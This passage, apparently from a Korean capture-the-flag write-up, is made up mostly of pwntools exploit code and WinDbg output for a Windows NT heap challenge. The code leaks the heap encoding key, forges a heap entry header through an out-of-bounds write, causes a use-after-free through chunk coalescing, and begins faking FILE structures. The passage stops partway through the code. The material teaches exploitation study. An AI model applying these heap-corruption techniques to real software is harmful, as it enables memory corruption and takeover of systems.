 	<span class="n">sla</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
	<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">3</span><span class="p">))</span>

<span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
<span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">):</span>
	<span class="k">if</span> <span class="n">cnt</span> <span class="o">==</span> <span class="mi">10</span><span class="p">:</span> <span class="c1"># only 10 heap chunks can be allocated
</span>		<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">6</span><span class="p">))</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
		<span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
		<span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>
		<span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
		<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>

	<span class="n">alloc</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
	<span class="n">edit</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span>
	<span class="n">leak</span> <span class="o">=</span> <span class="n">show</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="n">i</span><span class="p">:]</span>
	<span class="k">if</span> <span class="n">leak</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span>
		<span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"size 0x%04x can be usable to info leak( 0x%016x )"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">leak</span><span class="p">))</span>

	<span class="n">cnt</span> <span class="o">+=</span> <span class="mi">1</span>

<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="s">'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] size 0x0088 can be usable to info leak( 0x00005de64b3b5de3 )
[*] size 0x0098 can be usable to info leak( 0x00005de54b3b5de3 )
[*] size 0x00a8 can be usable to info leak( 0x00005de44b3b5de3 )
[*] size 0x00b8 can be usable to info leak( 0x00005de34c3b5de4 )
[*] size 0x00c8 can be usable to info leak( 0x00005de24c3b5de4 )
[*] size 0x00d8 can be usable to info leak( 0x00002e9102b2a6f5 )
[*] size 0x00e8 can be usable to info leak( 0x00002e9012b2a6e5 )
[*] size 0x00f8 can be usable to info leak( 0x00002e8f02b2a6f5 )
[*] size 0x0108 can be usable to info leak( 0x00002e8e07b2a6f0 )
[*] size 0x0118 can be usable to info leak( 0x00002e8de5b3a613 )
[*] size 0x0128 can be usable to info leak( 0x0000ceb77fd0cded )
[*] size 0x0138 can be usable to info leak( 0x0000ceb027d0cdb5 )
[*] size 0x0148 can be usable to info leak( 0x0000ceb10dd0cd9f )
[*] size 0x0158 can be usable to info leak( 0x0000ceb2f9d0cd6b )
[*] size 0x0168 can be usable to info leak( 0x0000ceb3abd0cd39 )
[*] size 0x0178 can be usable to info leak( 0x00001fb485bbdffe )
[*] size 0x0188 can be usable to info leak( 0x00001fb5fbbbdf80 )
[*] size 0x0198 can be usable to info leak( 0x00001fb62fbbdf54 )
[*] size 0x01a8 can be usable to info leak( 0x00001fb761bbdf1a )
[*] size 0x01b8 can be usable to info leak( 0x00001fb059bbdf22 )
[*] size 0x01c8 can be usable to info leak( 0x0000b3a2b2d6edd0 )
[*] size 0x01d8 can be usable to info leak( 0x0000b3a1eed6ed8c )
[*] size 0x01e8 can be usable to info leak( 0x0000b3a028d6ed4a )
...
'''</span>
</code></pre></div></div>

<p>디코딩된 header의 값은 항상 고정되어 있기 때문에 이를 이용해 <strong>_HEAP-&gt;Encoding</strong> 값을 leak할 수 있습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="n">SIZE</span> <span class="o">=</span> <span class="mh">0xC8</span>    <span class="c1"># yes, I intend korean slang
</span><span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP-&gt;Encoding = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_encod</span><span class="p">)</span>
<span class="n">pause</span><span class="p">()</span>

<span class="s">'''
$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP-&gt;Encoding = 0x0000f300f8d50db2
[*] Paused (press any to continue)
....
0:001&gt; dqs beefdad0000 l5
00000bee`fdad0000  0000ddaa`beef1acd
00000bee`fdad0008  00000000`000000c8
00000bee`fdad0010  00000000`00000001
00000bee`fdad0018  face6da6`1a35c767
00000bee`fdad0020  000001e5`30874370
0:001&gt; !heap -p -a 000001e5`30874370
    address 000001e530874370 found in
    _HEAP @ 1e530870000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        000001e530874360 000d 0000  [00]   000001e530874370    000c8 - (busy)
          unknown!noop

0:001&gt; dqs 1e530870000+80 l2
000001e5`30870080  00000000`00000000
000001e5`30870088  0000f300`f8d50db2
'''</span>
</code></pre></div></div>

<p>` 1. Allocate buffer for File`로 할당한 Heap chunk들은 LFH로 관리되지 않기 때문에, <strong>_HEAP-&gt;Encoding</strong>만 알고 있다면 OOB write 취약점을 사용해 header를 조작할 수 있습니다.</p>

<p>이제 서로 인접한 heap chunk 2개를 할당해 header를 조작해줘야 하는데, 정확히 어떤 크기로 할당해줘야 서로 인접하게 할당되는지 알 수 없어 이부분도 header가 leak되는 걸 기준삼아 아래와 같이 Brute-Force해서 찾았습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="c1"># this takes too many times
# modify the Brute-Force range to use your instinct
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="mi">8</span><span class="p">):</span>
	<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"i = 0x%04x"</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
	<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="mi">8</span><span class="o">*</span><span class="mi">8</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"j = 0x%04x"</span> <span class="o">%</span> <span class="n">j</span><span class="p">)</span>
		<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
		<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">i</span><span class="p">)</span>
		<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span>
		<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
			<span class="n">tmp_sz</span> <span class="o">=</span> <span class="n">j</span> <span class="o">+</span> <span class="p">(</span><span class="mi">8</span><span class="o">*</span><span class="n">k</span><span class="p">)</span>
			<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="o">+</span><span class="n">k</span><span class="p">,</span> <span class="n">tmp_sz</span><span class="p">)</span>
			<span class="n">leak</span> <span class="o">=</span> <span class="n">show</span><span class="p">(</span><span class="mi">2</span><span class="p">)[</span><span class="n">i</span><span class="p">:]</span>
			<span class="k">if</span> <span class="n">leak</span> <span class="o">!=</span> <span class="s">""</span><span class="p">:</span>
				<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"chunk1 size = 0x%x, chunk2 size = 0x%x"</span> <span class="o">%</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">tmp_sz</span><span class="p">))</span>
				<span class="k">break</span>

		<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"error"</span>
		<span class="n">sla</span><span class="p">(</span><span class="s">"Your choice: "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">6</span><span class="p">))</span>
		<span class="n">hi</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
		<span class="n">hi</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">)</span>
		<span class="n">sla</span> <span class="o">=</span> <span class="n">hi</span><span class="p">.</span><span class="n">sendlineafter</span>
		<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"info"</span>

<span class="s">'''
$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] i = 0x0080
[*] j = 0x0080
[*] j = 0x00C0
[*] j = 0x0100
[*] j = 0x0140
....
[*] chunk1 size = 0x268, chunk2 size = 0x200
....
'''</span>
</code></pre></div></div>

<p>이제 어떻게 크기를 할당해야 서로 인접한 chunk를 할당할 수 있는지 알았으니, <code class="language-plaintext highlighter-rouge">5. LazyFileHandler</code>로 <strong>magic.txt</strong>에서 읽어들인 값을 채워넣어 중간에 null-byte가 없게 한 뒤, OOB write 취약점을 사용해 header를 조작할 수 있습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP-&gt;Encoding = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_encod</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>

<span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
<span class="s">'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"fake XOR'ed _HEAP_ENTRY = 0x%016x"</span> <span class="o">%</span> <span class="n">fake_entry</span><span class="p">)</span>

<span class="n">open_file</span><span class="p">()</span>
<span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>
<span class="n">pause</span><span class="p">()</span>

<span class="s">'''
0:001&gt; dqs beefdad0000 lf
00000bee`fdad0000  0000ddaa`beef1acd
00000bee`fdad0008  00000000`000000c8
00000bee`fdad0010  00000000`00000001
00000bee`fdad0018  face6da6`1a35c767
00000bee`fdad0020  00000165`a3ed4370

00000bee`fdad0028  0000ddaa`beef1acd
00000bee`fdad0030  00000000`00000268
00000bee`fdad0038  00000000`00000002
00000bee`fdad0040  face6da6`1a35c767
00000bee`fdad0048  00000165`a3edff40

00000bee`fdad0050  0000ddaa`beef1acd
00000bee`fdad0058  00000000`00000200
00000bee`fdad0060  00000000`00000003
00000bee`fdad0068  0000ddaa`beef1acd
00000bee`fdad0070  00000165`a3ee01b0

0:001&gt; !heap -p -a 00000165`a3ee01b0
    address 00000165a3ee01b0 found in
    _HEAP @ 165a3ed0000
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state
        00000165a3ee01a0 01c8 0000  [00]   00000165a3ee01b0    01c70 - (busy)
'''</span>
</code></pre></div></div>

<p>이제 이 취약점을 어떻게 사용할 수 있을지 고민해봐야 합니다.</p>

<p>지금까지 찾아낸 OOB 취약점을 이용해서는 Heap chunk만 조작할 수 있기 때문에, <a href="#310-allocate-and-free-non-lfh-chunk">3.10. Allocate and Free Non-LFH chunk</a>에서 설명한 것처럼 Non-LFH chunk의 경우 할당해제시 인접한 Heap chunk를 탐색하며 병합( coalesce )처리한다는 원리를 이용해볼 수 있습니다.</p>

<p>그렇기 때문에 OOB write로 조작한 size의 범위안에 다른 Heap chunk가 있다면 그 chunk도 같이 할당해제되서 UAF가 발생해 아래처럼 Heap 주소를 leak할 수 있습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP-&gt;Encoding = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_encod</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>

<span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
<span class="s">'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x008 SubSegmentCode   : 0xc80101c8
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"fake XOR'ed _HEAP_ENTRY = 0x%016x"</span> <span class="o">%</span> <span class="n">fake_entry</span><span class="p">)</span>

<span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1c80</span> <span class="o">-</span>  <span class="c1"># fake chunk size 
</span>         <span class="mh">0x20</span>   <span class="o">-</span>  <span class="c1"># sizeof(_HEAP_ENTRY) * 2
</span>		 <span class="mh">0x200</span>     <span class="c1"># original size of overwritten chunk
</span><span class="p">)</span> 

<span class="n">open_file</span><span class="p">()</span>
<span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>

<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4
</span><span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4
</span>
<span class="n">heap_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"leaked heap addr = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_leak</span><span class="p">)</span>
<span class="n">pause</span><span class="p">()</span>

<span class="s">'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP-&gt;Encoding = 0x0000d60f1a72815a
[*] fake XOR'ed _HEAP_ENTRY = 0x1000d628d2738092
[*] leaked heap addr = 0x000002478ae70150
[*] Paused (press any to continue)
....
0:001&gt; dqs beefdad0000 l14
....
00000bee`fdad0078  0000ddaa`beef1acd
00000bee`fdad0080  00000000`00001a60
00000bee`fdad0088  00000000`00000004
00000bee`fdad0090  0000ddaa`beef1acd
00000bee`fdad0098  00000247`8ae803c0
0:001&gt; dqs 247`8ae803c0 l2
00000247`8ae803c0  00000247`8ae70150
00000247`8ae803c8  00000247`8ae82e40
0:001&gt; !heap
        Heap Address      NT/Segment Heap

         2478ae70000              NT Heap
         2478ac10000              NT Heap
         2478b0a0000              NT Heap
'''</span>
</code></pre></div></div>

<p>leak된 heap 주소의 offset이 항상 0x150( <strong>_HEAP-&gt;FreeLists</strong> )으로 고정되어 있기 때문에 Heap chunk들을 관리하는 <strong>_HEAP</strong> 구조체의 주소를 안정적으로 구할 수 있습니다.</p>

<p>분석하다 알게된 신기한 사실 중 하나는 <code class="language-plaintext highlighter-rouge">5. LazyFileHandler</code>에서 <code class="language-plaintext highlighter-rouge">1. ReadFile</code>로 <strong>magic.txt</strong>에 대한 FILE 구조체를 생성하면 해당 구조체가 LFH가 활성화된 Heap 영역에 할당된다는 점입니다.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:001&gt; dqs lazyfragmentationheap+5628 l1
00007ff6`521f5628  000001b7`d069a8b0

0:001&gt; !heap -i 000001b7`d069a8b0-10
Detailed information for block entry 000001b7d069a8a0
Assumed heap       : 0x000001b7d0690000 (Use !heap -i NewHeapHandle to change)
Header content     : 0xE76D0D32 0x88000D43
Block flags        : 0x1 LFH (busy )
Total block size   : 0x6 units (0x60 bytes)
Requested size     : 0x58 bytes (unused 0x8 bytes)
Subsegment         : 0x000001b7d069bb90
</code></pre></div></div>

<p>LFH는 <strong>_HEAP_SUBSEGMENT-&gt;BlockCount</strong>보다 많은 개수의 Heap chunk를 생성하게 되면 새로운 UserBlock과 SubSegment를 할당해 사용합니다. 이러한 원리를 이용해 LFH가 UAF로 접근할 수 있는 chunk 4를 사용하게 만든다면 아래와 같이 FILE 구조체를 조작할 수 있습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">SIZE</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
	<span class="n">heap_encod</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)[</span><span class="n">SIZE</span><span class="p">:]</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00\x10</span><span class="s">"</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x1000000d02010003</span>
<span class="k">except</span> <span class="n">struct</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
	<span class="n">log</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="s">"_HEAP_ENTRY not leaked"</span><span class="p">)</span>
	<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"_HEAP-&gt;Encoding = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_encod</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span>

<span class="n">fake_entry</span> <span class="o">=</span> <span class="mh">0x10000027c80101c8</span> <span class="o">^</span> <span class="n">heap_encod</span>
<span class="s">'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x008 SubSegmentCode   : 0xc80101c8
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"fake XOR'ed _HEAP_ENTRY = 0x%016x"</span> <span class="o">%</span> <span class="n">fake_entry</span><span class="p">)</span>

<span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x1c80</span> <span class="o">-</span>  <span class="c1"># fake chunk size 
</span>         <span class="mh">0x20</span>   <span class="o">-</span>  <span class="c1"># sizeof(_HEAP_ENTRY) * 2
</span>         <span class="mh">0x200</span>     <span class="c1"># orginal size of overwritten chunk
</span><span class="p">)</span> 

<span class="n">open_file</span><span class="p">()</span>
<span class="n">read_file</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x268</span><span class="p">)</span>
<span class="n">edit</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mh">0x268</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">fake_entry</span><span class="p">)[:</span><span class="mi">6</span><span class="p">],</span> <span class="bp">False</span><span class="p">)</span>

<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>         <span class="c1"># free coalesce mechanism also free'ing chunk 4
</span><span class="n">alloc</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x200</span><span class="p">)</span> <span class="c1"># set Flink and Blink at chunk 4
</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">show</span><span class="p">(</span><span class="mi">4</span><span class="p">)[:</span><span class="mi">8</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)))</span> <span class="o">-</span> <span class="mh">0x150</span>
<span class="k">if</span> <span class="n">heap_base</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
	<span class="n">log</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="s">"Heap address not leaked"</span><span class="p">)</span>
	<span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"&amp;_HEAP = 0x%016x"</span> <span class="o">%</span> <span class="n">heap_base</span><span class="p">)</span>

<span class="c1"># make LFH to allocate new Userblock in chunk 4
</span><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
	<span class="n">open_file</span><span class="p">()</span>

<span class="n">pause</span><span class="p">()</span>

<span class="s">'''
0:001&gt; dqs beefdad0000+(0x28*3) l5
00000bee`fdad0078  0000ddaa`beef1acd
00000bee`fdad0080  00000000`00001a60 &lt;------------|
00000bee`fdad0088  00000000`00000004              |
00000bee`fdad0090  0000ddaa`beef1acd              |
00000bee`fdad0098  00000128`446003c0              |---- profit!
0:001&gt; dqs lazyfragmentationheap+5628 l1          |
00007ff7`6f405628  00000128`44600950              |
0:001&gt; ? 00000128`44600950-00000128`446003c0      |
Evaluate expression: 1424 = 00000000`00000590 &lt;---|
'''</span>
</code></pre></div></div>

<p>FILE 구조체를 이용한 공격기법은 Angelboy가 작성한 <a href="https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique">Play with FILE Structure - Yet Another Binary Exploit Technique</a>에 잘 정리되어 있지만 Linux를 기준으로 설명하고 있어 Windows의 FILE 구조체와는 약간 다른데 이 부분은 디버거로 보면 바로 보이기 때문에 FILE 구조체가 어떤 구조를 가지고 있는지 분석하는 건 그닥 어렵지 않습니다.</p>

<p><strong>_HEAP</strong> 구조체의 주소를 알고 있으니 해당 구조체 근처에서 구할 수 있는 <strong>ntdll.dll</strong>의 주소부터 leak해보겠습니다.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># skip for brevity...
</span>
<span class="c1"># make LFH to allocate new Userblock in chunk 4
</span><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x14</span><span class="p">):</span>
	<span class="n">open_file</span><span class="p">()</span>

<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0xbcd0</span><span class="p">)</span>   <span class="c1"># +0x000 SubSegment
</span><span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x12e40</span><span class="p">)</span>  <span class="c1"># +0x008 Reserved
</span><span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span>                  <span class="c1"># +0x010 SizeIndexAndPadding
</span><span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xf0e0d0c0</span><span class="p">)</span>           <span class="c1"># +0x014 Signature
</span><span class="n">fake_HEAP_USERDATA_HEADER</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">5</span>                <span class="c1"># I couldn't leak other values
</span>
<span class="n">fake_FILE</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">fake_FILE</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span>              <span class="c1"># _HEAP_ENTRY
